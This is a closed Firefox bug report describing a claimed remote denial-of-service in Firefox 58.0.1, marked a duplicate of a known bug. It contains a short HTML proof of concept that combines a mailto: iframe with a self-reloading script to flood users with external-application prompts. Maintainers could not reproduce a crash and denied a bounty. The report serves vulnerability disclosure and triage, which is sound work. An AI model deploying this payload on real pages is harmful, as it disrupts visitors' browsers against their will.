Closed Bug 1435497 Opened 7 years ago Closed 7 years ago

Remote DoS vulnerability tested on Firefox Quantum 58.0.1 (Windows 10 64-bit)

Categories

(Firefox :: Security, defect)

58 Branch
defect
Not set
normal

Tracking

()

RESOLVED DUPLICATE of bug 167475

People

(Reporter: al-ghafri, Unassigned)

References

Details

(Keywords: reporter-external)

Attachments

(1 file)

Attached file DoS_ff.html
User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 Steps to reproduce: 1-. Open the following link in Firefox, Test link: http://beinsecurity.com/DoS_ff.html 2- Infinite loop trying to open email client causing a crash in Firfox. Exploit code: <html> <body> <!-- Remote DoS vulnerability tested on Firefox Quantum 58.0.1 (Windows 10 64-bit) --> <iframe src="mailto://al-ghafri@hotmail.com"></iframe> <script>location.href='DoS_ff.html';</script> </body> </html> Actual results: Infinite loop trying to open email client causing a crash in Firfox. Expected results: detecting the mal loop and ask the user to kill the page
Your attachment has a script of "while (true) do { }", so I used the one in your comment, which seems to make more sense. But I can't reproduce with either of the following settings. a) open 'mailto:' URLs in Thunderbird b) open 'mailto:' URLs unassigned (our own prompt) All I get is lots of prompts. How long did you let this run, Ahmed? I've tested Firefox Release (58.0.1).
Component: Untriaged → Security
Flags: sec-bounty?
Tanvi: external app prompt spamming (particularly mailto:) seems like a duplicate of one of the bugs on the eviltraps burn-down list. Do you know which one?
Blocks: eviltraps
Status: UNCONFIRMED → NEW
Ever confirmed: true
Flags: needinfo?(tanvi)
Not the same external handler, but the same DoS technique.
Group: firefox-core-security
Status: NEW → RESOLVED
Closed: 7 years ago
Resolution: --- → DUPLICATE
Flags: sec-bounty? → sec-bounty-
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Created:
Updated:
Size: